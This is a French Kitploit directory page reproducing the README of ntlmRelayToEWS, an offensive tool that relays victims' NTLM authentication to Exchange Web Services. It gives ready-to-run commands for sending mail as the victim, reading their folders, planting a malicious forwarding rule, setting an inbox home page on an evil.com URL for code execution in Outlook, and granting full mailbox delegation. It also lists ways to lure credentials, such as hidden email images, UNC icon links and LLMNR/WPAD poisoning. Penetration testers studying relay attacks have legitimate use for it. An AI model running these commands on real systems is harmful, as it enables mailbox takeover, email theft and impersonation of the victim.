Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
NtlmRelayToEWS — Attaque par relais NTLM vers Exchange Web Services | Kitploit
Outils/GitHubGitHub/arno0x/ntlmrelaytoews
Outils de PhishingExploitationCollecte d'InformationsSécurité WebTests d'IntrusionRed TeamingSécurité des Emails
GitHubarno0x/ntlmrelaytoews

NtlmRelayToEWS

Attaque par relais NTLM vers Exchange Web Services

Voir le dépôt
33258il y a 8 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

ntlmRelayToEWS

Auteur: Arno0x0x - @Arno0x0x

ntlmRelayToEWS est un outil permettant de réaliser des attaques par relais NTLM sur les services Web Exchange (EWS). Il lance un SMBListener sur le port 445 et un HTTPListener sur le port 80, en attente d'une connexion entrante de la victime. Une fois que la victime se connecte à l'un des écouteurs, une négociation NTLM a lieu et est relayée vers le serveur EWS cible.

Évidemment, cet outil n'implémente PAS l'intégralité de l'API EWS, donc seuls quelques services sont implémentés, pouvant être utiles dans certains scénarios d'attaque. Je pourrais en ajouter davantage à l'avenir. Consultez la section « usage » pour avoir une idée des appels EWS implémentés.

Limitations et améliorations

Version d'Exchange :
Je n'ai testé cet outil que contre un Exchange Server 2010 SP2 (ce qui est assez vieux, il faut l'avouer), donc tous les modèles de requêtes SOAP EWS, ainsi que l'analyse des réponses EWS, n'ont été testés que pour cette version d'Exchange. Bien que je ne l'aie pas testé moi-même, certains ont rapporté que cet outil fonctionne aussi contre un serveur Exchange 2016, sans modifications (c'est-à-dire sans changer les modèles de requêtes SOAP).

Si ces requêtes SOAP ne fonctionnaient pas sur une autre version d'Exchange, il est assez facile de créer les modèles de requêtes SOAP correspondant à une version plus récente en utilisant l'API managée EWS de Microsoft en mode trace et en capturant les requêtes SOAP appropriées (c'est ainsi que j'ai fait !).

Client SOAP EWS :
J'aurais adoré utiliser un client SOAP pour obtenir une interface appropriée permettant de créer automatiquement toutes les requêtes SOAP basées sur le WSDL d'Exchange. J'ai essayé d'utiliser 'zeep' mais je me suis cogné la tête contre le mur pour le faire fonctionner avec le WSDL d'Exchange, car cela nécessite de télécharger des espaces de noms externes et donc une connexion Internet. De plus, avec 'zeep', l'utilisation d'une session de transport personnalisée nécessite une Requests.session qui n'est pas le type de session HTTP(s) dont nous disposons par défaut avec HTTPClientRelay : cela aurait nécessité soit de refactoriser HTTPClientRelay pour utiliser 'Requests' (/me fainéant), soit simplement de faire en sorte que zeep crée les messages avec zeep.client.create_message() puis de les envoyer avec la session relayée que nous avons déjà. Ou bien est-ce parce que je suis un développeur nul ? bon, tant pis...

Prérequis

ntlmRelayToEWS nécessite une installation propre et correcte d'Impacket. Suivez donc leurs instructions pour obtenir une version fonctionnelle d'Impacket.

Utilisation

ntlmRelayToEWS implémente les attaques suivantes, toutes effectuées au nom de l'utilisateur relayé (victime).

Consultez l'aide pour obtenir des informations supplémentaires : ./ntlmRelayToEWS -h. Obtenez plus d'informations de débogage en utilisant le drapeau --verbose ou -v.

sendMail
Envoie un e-mail formaté en HTML à une liste de destinataires :
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r sendMail -d "[email protected],[email protected]" -s Sujet -m sampleMsg.html

getFolder
Récupère tous les éléments d'un dossier prédéfini (boîte de réception, éléments envoyés, calendrier, tâches) :
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r getFolder -f inbox

forwardRule
Crée une règle de transfert malveillante qui transmet tous les messages entrants de la victime vers une autre adresse e-mail :
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r forwardRule -d [email protected]

setHomePage
Définit une page d'accueil de dossier (généralement pour le dossier Boîte de réception) en spécifiant une URL. Cette technique, découverte par SensePost/Etienne Stalmans, permet une exécution arbitraire de commandes dans le programme Outlook de la victime en forgeant une page HTML spécifique : Outlook Home Page – Another Ruler Vector :
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r setHomePage -f inbox -u http://path.to.evil.com/evilpage.html

addDelegate
Définit une adresse de délégation sur la boîte aux lettres principale de la victime. En d'autres termes, la victime délègue le contrôle de sa boîte aux lettres à quelqu'un d'autre. Une fois fait, cela signifie que l'adresse déléguée a un contrôle total sur la boîte aux lettres de la victime, simplement en l'ouvrant comme une boîte aux lettres supplémentaire dans Outlook :
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r addDelegate -d [email protected]

Comment obtenir que la victime vous donne ses identifiants pour le relais ?

Pour que la victime envoie ses identifiants à ntlmRelayToEWS, vous pouvez utiliser l'une des méthodes bien connues suivantes :

  • Envoyer à la victime un e-mail avec une image cachée dont l'attribut 'src' pointe vers le serveur ntlmRelayToEWS, en utilisant HTTP ou SMB. Consultez le script Invoke-SendEmail.ps1 pour y parvenir.
  • Créer un fichier de lien dont l'attribut 'icon' pointe vers ntlmRelayToEWS en utilisant un chemin UNC et laisser la victime naviguer dans un dossier contenant ce lien.
  • Effectuer un empoisonnement LLMNR, NBNS ou WPAD (pensez à Responder.py ou Invoke-Inveigh par exemple) pour que tout trafic SMB ou HTTP correspondant de la victime soit envoyé à ntlmRelayToEWS.
  • autre ?

Crédits

Basé sur Impacket et ntlmrelayx par Alberto Solino @agsolino.

AVERTISSEMENT

Cet outil est destiné à être utilisé uniquement de manière légale et légitime :

  • soit sur vos propres systèmes comme moyen d'apprentissage, de démonstration de ce qui peut être fait et comment, ou de test de vos mécanismes de défense et de détection
  • soit sur des systèmes pour lesquels vous avez été officiellement et légitimement autorisé à effectuer des évaluations de sécurité (tests d'intrusion, audits de sécurité)

Pour citer les auteurs d'Empire : Il n'y a aucun moyen de construire des outils offensifs utiles pour l'industrie légitime de la sécurité de l'information tout en empêchant simultanément les acteurs malveillants d'en abuser.

Télécharger l’outil